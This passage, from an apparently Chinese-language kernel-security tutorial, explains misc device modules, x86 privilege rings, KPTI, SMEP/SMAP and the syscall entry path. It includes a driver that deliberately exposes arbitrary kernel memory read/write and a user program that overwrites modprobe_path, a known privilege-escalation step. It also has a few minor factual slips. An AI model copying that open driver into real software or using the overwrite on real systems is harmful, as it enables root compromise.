12
struct semaphore my_sem;

// 初始化,设置信号量值为1(类似互斥锁)
sema_init(&my_sem, 1);

// 获取信号量(阻塞)
down(&my_sem);

// 临界区代码

// 释放信号量
up(&my_sem);

原子操作(Atomic Operations)

原子操作用于执行无锁的原子操作,适用于简单的计数器或标志变量。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
atomic_t my_atomic;

// 初始化为0
atomic_set(&my_atomic, 0);

// 原子加
atomic_inc(&my_atomic);

// 原子减
atomic_dec(&my_atomic);

// 原子读取
int val = atomic_read(&my_atomic);

// 原子加并返回新值
int new_val = atomic_add_return(1, &my_atomic);

// 原子减并返回新值
int new_val_dec = atomic_sub_return(1, &my_atomic);

设备模块开发

前面开发的模块功能都十分单一,都只是在模块加载和卸载的时候调用了模块注册的加载和卸载函数,用户程序不能与这些模块进行交互。

为了实现更复杂的功能,我们要把模块开发成设备模块。设备模块通常会在文件系统中对应一个文件,并且在 VFS 中为这个文件注册一些文件处理函数。这样用户程序就可以通过 open 函数获取这个文件的描述符,然后通过一些列文件处理函数与内核模块进行交互,完成一些更复杂的功能。

在 Linux 内核中,设备分为多种类型,其中最常见的是 字符设备块设备,这两种设备类型通常需要进行复杂的资源管理、设备号分配以及文件操作结构体的设置等。而 misc 设备提供了一种简单、便捷的方式来注册一个没有过多要求的设备。因此这里仅介绍 misc 设备的开发。

首先 MISC 设备需要我们创建 miscdevice 设备结构体。miscdevice 是 Linux 内核中定义的结构体,用于表示 misc 设备。在我们注册设备时,必须填充这个结构体。

1
2
3
4
5
6
7
8
9
10
11
struct miscdevice  {
int minor;
const char *name;
const struct file_operations *fops;
struct list_head list;
struct device *parent;
struct device *this_device;
const struct attribute_group **groups;
const char *nodename;
umode_t mode;
};

miscdevice 结构体包含以下几个重要字段:

  • **name**:设备名称,会在 /dev 目录下创建一个同名文件,用户程序通过这个文件与设备交互。
  • **minor**:次设备号,MISC_DYNAMIC_MINOR 表示让内核动态分配次设备号。
  • **fops**:设备操作函数表,通过这个表,内核知道该如何操作设备。

这是我初始化的设备结构体,我将针对这个设备实现 memrw_ioctl 函数。

1
2
3
4
5
6
7
8
9
10
11
12
#define DEVICE_NAME "memrw"

static const struct file_operations memrw_fops = {
.owner = THIS_MODULE,
.unlocked_ioctl = memrw_ioctl,
};

static struct miscdevice memrw_device = {
.minor = MISC_DYNAMIC_MINOR, // 动态分配次设备号
.name = DEVICE_NAME, // 设备名称
.fops = &memrw_fops, // 文件操作结构体
};

之后在模块加载函数中通过 misc_register 函数将设备添加到内核的设备管理系统中。对于 MISC 设备内核会为设备自动分配设备号并在 /dev 目录下创建设备节点。(其他类型的设备在这一步需要根据设备号使用 mknod 命令手动在 /dev 目录下创建设备节点)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
static int __init memrw_init(void) {
int ret;

printk(KERN_INFO "[*] initializing memory read/write module\n");

ret = misc_register(&memrw_device);
if (ret) {
printk(KERN_ERR "[-] failed to register misc device\n");
return ret;
}
printk(KERN_INFO "[+] device %s registered successfully\n", DEVICE_NAME);

return 0;
}

module_init(memrw_init);

在卸载函数中我们通过 misc_deregister 将该设备从内核的设备管理系统中移除。

1
2
3
4
5
6
static void __exit memrw_exit(void) {
printk(KERN_INFO "[+] exiting memory read/write module\n");
misc_deregister(&memrw_device);
}

module_exit(memrw_exit);

剩下的部分就是实现注册在 memrw_fops 中的函数了,这里我实现的是任意地址读写的模块。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
#include <linux/fs.h>
#include <linux/init.h>
#include <linux/io.h>
#include <linux/kernel.h>
#include <linux/miscdevice.h>
#include <linux/module.h>
#include <linux/slab.h>
#include <linux/uaccess.h>

#define DEVICE_NAME "memrw"
#define IOCTL_READ_MEMORY 1
#define IOCTL_WRITE_MEMORY 0


struct memrw_param {
void *address;
size_t size;
uint8_t data[];
};

static long memrw_ioctl(struct file *file, unsigned int cmd, unsigned long arg) {
struct memrw_param *param = kmalloc(sizeof(struct memrw_param), GFP_KERNEL_ACCOUNT);

int ret = 0;

if (copy_from_user(param, (struct memrw_param *) arg, sizeof(struct memrw_param))) {
printk(KERN_ERR "[-] copy_from_user param error.\n");
kfree(param);
return -EFAULT;
}

param = (struct memrw_param *) krealloc(param, param->size + sizeof(struct memrw_param), GFP_KERNEL_ACCOUNT);

switch (cmd) {
case IOCTL_READ_MEMORY:
printk(KERN_INFO "[*] read data from address: %#016llx with size: %zu\n", param->address, param->size);

memcpy(param->data, param->address, param->size);

if (copy_to_user(((struct memrw_param *) arg)->data, param->data, param->size)) {
printk(KERN_ERR "[-] copy_to_user param error.\n");
ret = -EFAULT;
}

break;

case IOCTL_WRITE_MEMORY:
printk(KERN_INFO "[*] write data to address: %#016llx with size: %zu\n", param->address, param->size);

if (copy_from_user(param->data, ((struct memrw_param *) arg)->data, param->size)) {
printk(KERN_ERR "[-] copy_from_user param->data error.\n");
ret = -EFAULT;
break;
}

memcpy(param->address, param->data, param->size);

break;

default:
ret = -EINVAL;
}

kfree(param);

return ret;
}

static const struct file_operations memrw_fops = {
.owner = THIS_MODULE,
.unlocked_ioctl = memrw_ioctl,
};

static struct miscdevice memrw_device = {
.minor = MISC_DYNAMIC_MINOR, // 动态分配次设备号
.name = DEVICE_NAME, // 设备名称
.fops = &memrw_fops, // 文件操作结构体
};

static int __init memrw_init(void) {
printk(KERN_INFO "[*] initializing memory read/write module\n");

int ret = misc_register(&memrw_device);
if (ret) {
printk(KERN_ERR "[-] failed to register misc device\n");
return ret;
}
printk(KERN_INFO "[+] device %s registered successfully\n", DEVICE_NAME);

return 0;
}

static void __exit memrw_exit(void) {
printk(KERN_INFO "[+] exiting memory read/write module\n");
misc_deregister(&memrw_device);
}

module_init(memrw_init);
module_exit(memrw_exit);

MODULE_LICENSE("GPL");

编写一个用户程序与内核交互实现修改 modprobe_path

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
#include <ctype.h>
#include <fcntl.h>
#include <stdint-gcc.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <unistd.h>

void byte_dump(char *desc, void *addr, int len) {
uint8_t *buf8 = (unsigned char *) addr;
if (desc != NULL) {
printf("[*] %s:\n", desc);
}
for (int i = 0; i < len; i += 16) {
printf(" %04x", i);
for (int j = 0; j < 16; j++) {
i + j < len ? printf(" %02x", buf8[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 16 && j + i < len; j++) {
printf("%c", isprint(buf8[i + j]) ? buf8[i + j] : '.');
}
puts("");
}
}

size_t get_symbol_address(const char *symbol_name) {
FILE *kallsyms_fp = fopen("/proc/kallsyms", "r");
if (!kallsyms_fp) {
perror("[-] failed to open /proc/kallsyms");
return -1;
}
size_t symbol_addr = 0;
char buf[0x80] = {};
while (!symbol_addr && fgets(buf, sizeof(buf), kallsyms_fp)) {
if (strstr(buf, symbol_name)) {
sscanf(buf, "%lx %*s %*s", &symbol_addr);
break;
}
memset(buf, 0, sizeof(buf));
}
fclose(kallsyms_fp);

if (symbol_addr) {
printf("[+] symbol address: %#016llx\n", symbol_addr);
return symbol_addr;
}
puts("[-] failed to get symbol address.");
return -1;
}

#define DEVICE_NAME "/dev/memrw"
#define IOCTL_READ_MEMORY 1
#define IOCTL_WRITE_MEMORY 0

#define BUFFER_SIZE 256

struct memrw_param {
size_t address; // User-space provided virtual address
size_t size; // Read/write length
uint8_t data[BUFFER_SIZE]; // Data buffer for write operation
};


int main() {
size_t modprobe_path_addr = get_symbol_address("modprobe_path");
if (modprobe_path_addr == -1) {
return EXIT_FAILURE;
}

int dev_fd = open(DEVICE_NAME, O_RDWR);
if (dev_fd == -1) {
perror("Failed to open device");
return EXIT_FAILURE;
}
const char *modprobe_path = "/tmp/my_modprobe";
struct memrw_param write_param = {
.address = modprobe_path_addr,
.size = strlen(modprobe_path),
};
strcpy(write_param.data, modprobe_path);

puts("[*] changing modprobe_path...");
if (ioctl(dev_fd, IOCTL_WRITE_MEMORY, &write_param) == -1) {
perror("IOCTL write failed");
close(dev_fd);
return -1;
}

struct memrw_param read_param = {
.address = modprobe_path_addr,
.size = 0x20
};
puts("[*] reading ptrace_scope...");
if (ioctl(dev_fd, IOCTL_READ_MEMORY, &read_param) == -1) {
perror("IOCTL write failed");
close(dev_fd);
return -1;
}

byte_dump("modprobe_path", read_param.data, read_param.size);

return 0;
}

Ring Model

基本概念

Ring Model 是一种 CPU 权限级别(Privilege Level) 的分层架构,主要用于操作系统中处理权限隔离和保护。它通过硬件机制,限制不同权限级别的代码对系统资源的访问,从而提高系统的安全性和稳定性。

Ring Model 的分层通常分为 4 个等级,编号从 0 到 3:Ring 0 Ring 1Ring 2Ring 3

尽管 x86 架构支持 4 级 Ring 模型,但 Linux 只使用了 Ring 0Ring 3

Ring 用途
Ring 0 内核态(Kernel Mode):操作系统核心代码运行的位置,包括内存管理、设备驱动、进程调度等。
Ring 3 用户态(User Mode):用户程序运行的位置,如 bashvim 等。

提示

Ring Model 主要隔离和保护的是不同级别的内存访问权限(RWX)特权指令执行。这是 Ring Model 的两个支柱,也是它提供安全隔离的根本所在。

权限保护机制

段保护机制

  • 段(Segment) 是 x86 架构中内存管理的基础单元。每个段定义了一个线性地址范围,程序通过段选择子和偏移量访问内存。
  • CPU 使用段保护机制,通过段选择子(Segment Selector)和段描述符(Descriptor)来控制不同权限级别(Ring)的内存访问,防止越权操作。

段选择子(Segment Selector)

段选择子是存储在 CPU 段寄存器(代码段 cs、数据段 ds、栈段 ss 等)中的低 16 位值,标识了当前程序使用的段。它是程序访问内存段的入口,索引全局或局部段描述符表(GDT 或 LDT)。

段选择子的格式如下:

  • Index(段索引,13 位):指向段描述符表(GDT 或 LDT)中的一个条目,标识具体的段。

  • TI(Table Indicator,1 位):决定段描述符表的类型:

    • 值为 0 表示选择 GDT(Global Descriptor Table,全局描述符表)
    • 值为 1 表示选择 LDT(Local Descriptor Table,局部描述符表)
  • RPL(Requested Privilege Level,请求权限级别,2 位)

    • 指定程序期望访问目标段时的权限级别,范围为 0-3
    • 通常,RPL 由调用方设定,用于在段访问中动态降低权限。

段描述符(Descriptor)

每个段在 GDT 或 LDT 中对应一个段描述符。描述符包含了段的基地址、大小、类型和权限等信息。

段描述符的格式如下:

  • Base Address(基地址,32 位):段的起始地址。在 64 位模式下,基地址通常被固定为 0,即扁平内存模型。

  • Segment Limit(段大小,20 位):定义段的大小(单位为字节)。在 64 位模式下,通常被忽略,因为地址空间被扩展到 48 位或更高。

  • Access Rights(访问权限,8 位):包含段的类型和权限字段:

    • 类型位(Type):定义段的用途,如代码段、数据段或系统段。不同的类型有不同的内存权限。
    • S 位(Descriptor Type):区分系统段(S=0)和普通段(S=1)。
      • S = 0:系统段(System Segment),包含特定于系统使用的结构或功能,例如任务状态段(TSS)、中断描述符表(IDT)或局部描述符表(LDT)。
      • S = 1:代码段或数据段,表示常规的用户态或内核态段,用于存储可执行代码或数据。
    • DPL(Descriptor Privilege Level):段的权限级别,范围为 0-3,表示对该段的访问要求。

权限类型

  • CPL(Current Privilege Level)
    • 表示当前程序的运行权限级别,通常由 CS 寄存器的低两位(代码段段选择子)决定。
    • CPL 的值必须低于或等于段描述符中的 DPL 才能访问该段。
  • RPL(Requested Privilege Level)
    • 请求访问段时指定的权限级别。通常由访存时使用的段寄存器的段选择子决定
    • RPL 的值不能高于段的 DPL。
  • DPL(Descriptor Privilege Level)
    • 描述符中定义的段权限级别。

提示

简单总结一下,就是当前的执行代码的权限(CPL)和请求访问内存的权限(RPL)都不能低于(值要小于等于)段描述符描述的目标内存的权限。

权限检查过程

这里以 mov rax, qword ptr ds:[0xdeadbeef] 为例介绍一下段保护机制权限检查的过程。

  1. 读取 DS 段选择子:CPU 从 DS 段寄存器中读取段选择子的值。

  2. 读取段描述符:CPU 从 DS 段寄存器中读取段选择子的值。这里先根据段选择子的 TI 位确定是 GDT,然后根据 Index 字段中 GDT 中找到段描述符。

  3. 检查 S 位(Descriptor Type):因为是访存操作,所以要求 S 位为 1(数据段)。

  4. 检查 RPL(Requested Privilege Level):CPU 会比较 max(CPL, RPL) 和目标段描述符的 DPL(Descriptor Privilege Level)。如果结果大于目标段的 DPL,则触发 **General Protection Fault (GPF)**。

  5. 检查段描述符类型:根据段描述符的 Access Rights 字段的类型位(Type)确认操作(读取数据)符合段的权限(RW 位)。

页保护机制

在 64 位系统(如 x86_64 架构)中,页保护机制是内存管理的核心,通过分页(Paging)机制实现虚拟地址到物理地址的映射,同时提供细粒度的权限控制(例如用户空间与内核空间的隔离)。

提示

关于分页机制会在内存管理部分详细介绍,这里仅介绍权限管理相关内容。

权限字段

每个页表条目(Page Table Entry, PTE)包含物理地址和权限信息:

  • P(Present):第 0 位,表示页是否有效。如果为 0,表示页不在内存中(可能在磁盘上),访问时会触发 Page Fault

  • R/W(Read/Write):第 1 位,表示页是否可写。如果为 0,则该页只读。

  • U/S(User/Supervisor):第 2 位,表示用户态(Ring 3)是否可以访问:

    • U = 1:用户态可访问。

    • U = 0:仅内核态(Ring 0)可访问。

  • NX(No Execute):第 63 位,表示页是否可执行:如果为 1,则该页不可执行(需要 CPU 支持 NX 位)。

Linux 的 KPTI 机制

Kernel Page Table Isolation(KPTI) 是一种内核内存隔离机制,最初是在 Linux 4.15 (2018年1月发布)版本中引入,用于解决 Meltdown 漏洞(CVE-2017-5754)

Meltdown 是一种硬件级漏洞,该漏洞利用了现代处理器的分支预测和缓存特性,可以通过侧信道攻击绕过用户态与内核态的隔离,使得用户态程序可以读取内核内存中的敏感数据。

  • 当用户态访问内核地址时,尽管会触发权限检查失败,但在实际触发前,CPU 已经通过分支预测机制将数据加载到缓存中。

  • 攻击者可以通过读取缓存侧信道(如时间测量等技术)获取这些数据。

基本原理

在传统未开启 KPTI 的 Linux 系统中,内核页表和用户页表共存于同一张全局页表(PGD)。开启 KPTI 后,内核为用户态和内核态分别维护两张独立的页全局目录(PGD)。

  • 内核页表:包含用户和内核地址空间的完整映射。但是用对应户空间的页表项会添加 _PAGE_NX 标志,以阻止执行内核态页表所映射用户地址空间的代码。在 KAISER patch 里把这一步骤叫 毒化(poison)。
  • 用户页表:完整映射用户地址空间。但内核地址空间仅保留必要的条目(如系统调用入口和中断处理)。

由于每张页全局目录表占用 4 KB,两张页表连续分配在内存中,因此两张全局页目录表的地址仅在第 13 位不同。

  • 用户态进入内核态:当用户态程序通过 系统调用中断 进入内核态时,会执行用户态页表映射的系统调用入口代码。在这段代码会将 CR3 寄存器的第 13 位取反,切换到内核页表,这样就可以访问完整的内核空间。
  • 内核态返回用户态:内核完成系统调用或中断处理后,需要切换回用户态,此时内核通过取反 CR3 的第 13 位,切换回用户页表。切换完成后,内核地址空间的绝大部分被剥离,仅保留必要的条目。
保护效果

开启 KPTI 保护之后:

  • 用户空间和内核空间的页表分开,从而实现了内核空间与用户空间的地址完全隔离,阻止了 Meltdown 攻击利用的内存泄漏路径。
  • 由于内核页表中对应户空间的页表项会添加 _PAGE_NX 标志,内核空间无法执行用户态代码。
  • 不过内核空间可以正常读写用户空间的内存,这部分操作不受影响。
查看 KPTI 开启情况

在现代 Linux 系统中,/sys/devices/system/cpu/vulnerabilities/ 目录下会包含与 CPU 漏洞相关的信息。其中 /sys/devices/system/cpu/vulnerabilities/meltdown 文件中有关于 KPTI 保护的相关信息。如果开启 KPTI 则该文件的内容为 Mitigation: PTI

1
2
3
4
5
6
7
8
9
/ $ cat /sys/devices/system/cpu/vulnerabilities/*
Processor vulnerable
Mitigation: PTE Inversion
Vulnerable: Clear CPU buffers attempted, no microcode; SMT Host state unknown
Mitigation: PTI
Vulnerable
Mitigation: usercopy/swapgs barriers and __user pointer sanitization
Mitigation: Full generic retpoline, STIBP: disabled, RSB filling
Not affected
开启或关闭 KPTI

首先我们需要判断内核版本是否不低于 4.15,因为 KPTI 保护是从这个版本开始引入的。

另外 KPTI 的核心代码会根据内核编译选项 CONFIG_PAGE_TABLE_ISOLATION 来确定是否包含在内核中。如果在编译时未启用 CONFIG_PAGE_TABLE_ISOLATION 则 KPTI 的相关代码会被剔除,运行时无法开启或关闭。在这种情况下,KPTI 完全不可用。

通常 KPTI 是通过内核启动参数 kpti 来设置的,kpti=1 开启KPTI保护,kpti=0 关闭 KPTI 保护。但是对于 QEMU 仿真的简易 Linux 环境来说,,虚拟 CPU 模型会覆盖这些设置。

在虚拟化环境中,QEMU 提供了多个虚拟 CPU 模型,kvm64qemu64 就是其中两种常见的模型。不同的 CPU 模型和虚拟化配置会影响虚拟机中运行的内核行为。

  • **kvm64**:这是 KVM 默认的 CPU 模型,它模拟了一种更现代的 CPU,通常启用了现代的硬件安全特性,包括 KPTI。使用 kvm64 模型时,虚拟机的内核会自动启用 KPTI 以保护系统免受 Meltdown 漏洞的影响。
  • **qemu64**:这是 QEMU 提供的基本 CPU 模型,不启用 KVM 的加速功能(即使 QEMU 本身在运行时)。使用 qemu64 模型时,QEMU 可能模拟的 CPU 特性不包括 KPTI,因此内核不会启用 KPTI 保护。

也就是说我们设置 -cpu kvm64 就可以开启 KPTI 保护,设置 -cpu qemu64 就可以关闭 KPTI 保护。

CPU 硬件保护机制

CR4 是 x86 架构中一个非常重要的控制寄存器,用于控制一些与操作系统安全、内存管理、异常处理等相关的硬件特性。

其中 SMEP(20 位)SMAP(21 位)是两个与权限保护相关的标志位。

通常我们可以通过设置 CR4 寄存器的值为 0x6F0 来关闭 SMEP 和 SMAP 保护。

SMEP

SMEP (Supervisor Mode Execution Prevention) 是一种用于提高计算机系统安全性的硬件级保护机制,旨在防止在内核模式下执行用户空间中的代码

注意

开启 SMEP 不影响内核空间代码读写用户空间的内存。

SMAP

SMAP(Supervisor Mode Access Prevention)是现代 CPU 中的一项硬件安全特性,用于保护内核模式(Ring 0)和用户模式(Ring 3)之间的内存访问隔离。它通过限制内核代码访问用户空间的内存,减少了内核受到攻击的风险。

注意

开启 SMAP 后内核空间代码虽然不能读写用户空间的数据,但是可以执行用户空间的代码。

系统调用

基本概念

系统调用(System Call) 是操作系统提供给用户程序的一组接口,用于请求内核执行特定的服务或操作,如文件读写、进程控制、网络通信等。系统调用充当了 用户态(Ring 3)内核态(Ring 0) 之间的桥梁,允许用户程序以安全且受控的方式访问系统资源。

由于内核具有更高的权限级别,用户程序不能直接操作硬件资源或访问敏感内存。因此,系统调用是用户程序请求内核服务的唯一合法途径。这种隔离保护机制有助于提升系统的安全性和稳定性。

在 x86_64 架构中,系统调用通常通过 syscall 指令int 0x80 指令 实现,两者都可以用来触发用户态到内核态的切换。其中,syscall 是现代 x86_64 架构中常用的实现方式,性能更优。

x86 系统调用相关指令

系统调用指令

在 32 位架构中,主要的系统调用指令有 int 和 **sysenter**,两者具有不同的性能和适用场景。另外调用门是原本 CPU 专门为操作系统的系统调用设计的,但是用于性能开销大而基本不被操作系统采用,这里不做介绍。

int 0x80

int 是 x86 架构中的 软件中断指令。它是通过生成一个中断信号来改变程序的执行流,跳转到一个特定的中断处理程序。

int 指令通过指定中断向量号来触发中断处理,其中中断向量号是一个 8 位的数字(范围:0~255),用来标识中断的类型。

考虑到硬件兼容性问题,在 32 位下的 linux 系统调用主要是通过 int 0x80 指令实现。也就是将断向量号为 0x80 的中断作为系统调用。

执行系统调用时,用户态程序需要设置系统调用号和参数,

  • EAX :系统调用号。
  • EBXECXEDXESIEDI :系统调用的参数。

之后,用户态程序执行 int 0x80 指令进行系统调用。int 指令的执行过程十分复杂,这里简单介绍一下执行过程:

  1. 查找和加载中断描述符

    int <vector> 指令中,CPU 使用 中断向量号 来查找 IDT 条目IDT_ENTRY = IDTR.base + (vector * 8))。

    IDTR 寄存器(Interrupt Descriptor Table Register)是一个特殊寄存器,存储了 IDT 的起始地址(base)和长度(limit)。CPU 使用 IDTR 寄存器来找到 IDT 的基地址和大小。

    1
    2
    3
    IDTR:
    base -> IDT 的起始物理地址。
    limit -> IDT 的大小(字节数 - 1)。
  2. 权限和属性检查

    在加载描述符后,CPU 会检查以下内容:

    • 描述符类型:确保描述符是有效的中断门(Interrupt Gate)或陷阱门(Trap Gate),如果类型无效,会触发异常。

    • 特权级检查:CPU 检查当前代码段的 CPL(Current Privilege Level)与描述符的 DPL(Descriptor Privilege Level),如果 CPL > DPL,则拒绝访问,触发 General Protection Fault。

  3. 保存当前上下文到栈

    CPU 将当前执行环境保存到栈中,以便中断处理完成后能够恢复原状态。

    • 如果没有特权级切换,即中断处理程序和中断触发点的特权级相同(如都在 Ring 0)则依次保存以下内容到当前栈:
      • EFLAGS
      • CS
      • EIP
    • 如果发生特权级切换,即如果从用户态(Ring 3)切换到内核态(Ring 0)则首先切换到内核栈,新的栈指针(ESP0)从任务状态段(TSS)中读取。之后依次保存以下内容到内核栈:
      • 用户态 SS
      • 用户态 ESP
      • EFLAGS
      • 用户态 CS
      • 用户态 EIP
  4. 跳转到中断处理程序

    • 将描述符中的段选择子加载到 CS
    • 将描述符中的偏移地址加载到 EIP,跳转到目标处理程序入口。
    • 清除或保留 IF 标志
      • 如果描述符类型是 中断门,清除 IF 标志,屏蔽中断。
      • 如果是 陷阱门,保留 IF 标志,允许嵌套中断。
sysenter

由于中断指令 int 本身就不是为系统调用而设计的,因此 int 0x80 方式涉及查询中断向量表、权限判断等复杂且没有必要的操作,这对于系统调用这种频繁使用的功能来说会带来很大的开销。因此就有了专门用于系统调用的指令 sysenter

在内核初始化时,操作系统会配置以下 MSR 寄存器,为 sysenter 指令设置入口(这些寄存器需要在内核态配置,用户态无法直接访问):

寄存器 作用
SYSENTER_CS_MSR 指定内核代码段选择子,通常设置为内核代码段(0x10)。
SYSENTER_EIP_MSR 指定内核入口地址,指向内核的系统调用入口函数(如 Linux 中的 system_callsysenter_entry)。
SYSENTER_ESP_MSR 指定内核栈的初始栈指针。

当用户态程序执行 sysenter 指令时,CPU 直接进行如下操作完整权限和栈切换以及代码跳转:

  1. 设置目标代码段和指令指针

    • SYSENTER_CS_MSR 中的值加载到 CS
    • SYSENTER_EIP_MSR 的值加载到 EIP,跳转到内核的入口函数。
  2. 设置目标栈指针

    • SYSENTER_ESP_MSR 的值加载到 ESP,切换到内核栈。

注意

sysenter 寄存器不保存寄存器,因此为了能正确返回用户态,需要在系统调用前的用户代码中保存 EIPESP 到指定寄存器中。

1
2
3
4
5
  lea edx, [next_instruction]   ; 保存返回的 EIP
mov ecx, esp ; 保存返回的 ESP
sysenter ; 执行系统调用
next_instruction:
...

因为 sysenter 需要用户态程序的配合导致兼容性很差,因此 intel 的这一方案没有被操作系统采用。进入 64 位后 AMD 推出的 syscall 吸取了这个教训,因此能够在 64 位操作系统中一统江湖。

返回用户态指令

retf(远返回指令)

retf 是用于跨段(特权级)返回的指令,在 x86 中用来从调用门(Call Gate)或其他改变段选择子的特权切换中返回。具体执行过程为:

  1. 恢复用户态
    • CPU 从当前栈中弹出 EIPCS,更新当前的代码段和指令寄存器。
  2. 根据特权级切换栈
    • 如果 CS 中的 CPL(Current Privilege Level)与当前特权级不同,则说明发生了特权级切换,CPU 从当前栈中弹出SSESP 切换到用户态栈。
    • 如果特权级相同,则继续执行,不切换栈。
iretd(中断返回指令)

iretd 是中断处理程序返回用户态时最常用的指令,用于恢复中断发生前的寄存器状态。具体执行过程为:

  1. 恢复用户态
    • CPU 从栈中依次弹出以下内容:
      • EIP(指令寄存器):恢复中断发生时的指令地址。
      • CS(代码段选择子):恢复用户态代码段。
      • EFLAGS(标志寄存器):恢复中断前的状态标志。
  2. 检查 CS 寄存器的有效性:
    • 段存在检查:确保段描述符存在位是设置的,即段实际存在于内存中。
    • 类型检查:确保描述符类型适用于代码执行,例如,不能是数据段或其他非执行类型的段。
    • 权限检查:确保代码段的 DPL 至少与 CS 选择子的请求特权级(RPL)一致。
  3. 根据特权级切换栈
    • 如果 CS 中的 CPL(Current Privilege Level)不等于当前特权级,则说明发生了特权级切换,CPU 从栈中弹出用户态的 SSESP,切换到用户态栈。
  4. 重新启用中断(如果需要)
    • 如果 EFLAGS 中的 IF 位(中断标志)被恢复为 1,则重新启用硬件中断。
sysexit(快速系统调用返回指令)

sysexit 是 Intel 为了优化系统调用性能而引入的快速返回指令,配合 sysenter 使用。具体执行过程为:

  1. 恢复用户态寄存器
    • EIP 被设置为 EDX 中的值。
    • ESP 被设置为 ECX 中的值。
  2. 切换段寄存器
    • CS 设置为 SYSENTER_CS_MSR
    • SS 设置为 SYSENTER_CS_MSR + 8(内核代码段和内核数据段的选择子通常相差 8,因此由硬件设计直接规定)。

x86-64 系统调用相关指令

系统调用指令

syscall

syscall 是 x86-64 架构中用户态程序进入内核态执行系统调用的主要指令,设计目的是取代传统的 intsysenter 指令,提供更高效的系统调用路径。

  1. 保存寄存器

    为了保证在执行完系统调用后可以正确地恢复到用户态。

    • 当前的 RIP(用户态下一条指令的地址)被保存在 RCX 中。
    • 当前的 RFLAGS 寄存器被保存在 R11 中。
  2. 设置寄存器

    • 标志寄存器:通过 IA32_FMASK MSR 定义的 RFLAGS 位被清除,通常包括中断标志(IF),以防止 syscall 执行过程中被中断。
    • 代码段和栈段选择子:从 IA32_STAR MSR 读取内核代码段(CS)和栈段(SS)选择子,并更新对应的寄存器。这不涉及栈指针 RSP 的改变,只是段寄存器的更新。
    • 指令寄存器RIP 被设置为 IA32_LSTAR MSR 中的值,即内核定义的入口点地址。

返回用户态指令

iretq

iretq(Interrupt Return)是 x86-64 架构中用于从中断、异常或其他低特权级(如用户态)代码的调用返回的指令,是 iretd 的 32 位形式。

sysret

sysret 指令是 x86-64 架构中与 syscall 指令配套使用的指令,用于从系统调用中返回用户态。

  1. 恢复用户态寄存器

    • RIP 被设置为 RCX 中的值。
    • RFLAGS 被设置为 R11 中的值。
  2. 切换段寄存器

    • CS(代码段寄存器)被设置为 IA32_STAR MSR 的用户代码段选择子加 16。这通常是 STAR_MSR 中指定的值,指向用户代码段。

      SS(栈段寄存器)被设置为用户栈段选择子,通常是 STAR_MSR 的用户栈段选择子加 8。

Linux 系统调用内核实现

这里仅介绍 64 位 syscall 指令的系统调用过程。

系统调用入口

entry_SYSCALL_64

entry_SYSCALL_64 是系统调用进入内核态的入口函数,定义在 arch/x86/entry/entry_64.S 中。具体步骤为:

  1. 切换 GS 寄存器的基地址。在用户态,GS 通常指向用户空间的数据结构;在内核态,GS 指向内核的 per-CPU 数据结构,因此需要切换 GS 寄存器的基地址。

    1
    swapgs
  2. 保存用户态的栈指针 rsp 到内核 TSS 的 sp2 字段。sp2 是内核中的一个暂存区域,用于存储用户态的 rsp。

    1
    movq    %rsp, PER_CPU_VAR(cpu_tss_rw + TSS_sp2)
  3. 切换到内核地址空间(通过 CR3 切换页表),具体见前面 KPTI 机制。

    1
    SWITCH_TO_KERNEL_CR3 scratch_reg=%rsp

    实际对应的汇编代码如下:

    1
    2
    3
    mov    rsp, cr3
    and rsp, 0xffffffffffffe7ff
    mov cr3, rsp
  4. 切换到内核栈。cpu_current_top_of_stack 是当前 CPU 对应的内核栈顶。

    1
    movq	PER_CPU_VAR(cpu_current_top_of_stack), %rsp
  5. 构造 struct pt_regs。

    struct pt_regs 是 Linux 内核用来保存用户态寄存器状态的一个关键结构体。它通常包含以下字段:

    1
    2
    3
    4
    5
    6
    7
    struct pt_regs {
    unsigned long r15, r14, r13, r12; // Callee-saved registers
    unsigned long rbp, rbx, r11, r10; // Callee-saved and caller-saved registers
    unsigned long r9, r8, rax, rcx, rdx, rsi, rdi; // General-purpose registers
    unsigned long orig_rax; // Original value of rax
    unsigned long rip, cs, eflags, rsp, ss; // Instruction pointer, segment selectors, etc.
    };

    在系统调用中,内核需要构造 struct pt_regs 来保存用户态的寄存器状态,以便后续调试、错误处理或恢复用户态时使用。

    这部分对应汇编代码如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
        /* Construct struct pt_regs on stack */
    pushq $__USER_DS /* pt_regs->ss */
    ; __USER_DS 是用户态的数据段选择子,通常用于恢复用户态栈段(SS)。
    pushq PER_CPU_VAR(cpu_tss_rw + TSS_sp2) /* pt_regs->sp */
    ; PER_CPU_VAR(cpu_tss_rw + TSS_sp2) 是用户态的栈指针(RSP),从 TSS 的 sp2 字段中获取。
    pushq %r11 /* pt_regs->flags */
    ; r11 寄存器保存了用户态的 RFLAGS,在进入内核态时由 syscall 指令保存。
    pushq $__USER_CS /* pt_regs->cs */
    ; __USER_CS 是用户态的代码段选择子,通常用于恢复用户态的代码段。
    pushq %rcx /* pt_regs->ip */
    ; rcx 寄存器在 syscall 指令执行时存储了用户态的返回地址(RIP)。
    GLOBAL(entry_SYSCALL_64_after_hwframe)
    pushq %rax /* pt_regs->orig_ax */
    ; rax 寄存器存储了系统调用号,保存其原始值以便后续处理。

    PUSH_AND_CLEAR_REGS rax=$-ENOSYS
    ; 这是一个宏,用于压入所有通用寄存器(如 r15、r14、r13 等)到栈上。
    ; 其中 rax 寄存器实际保存的是 -ENOSYS(-38) 即 Function not implemented (功能未实现)。
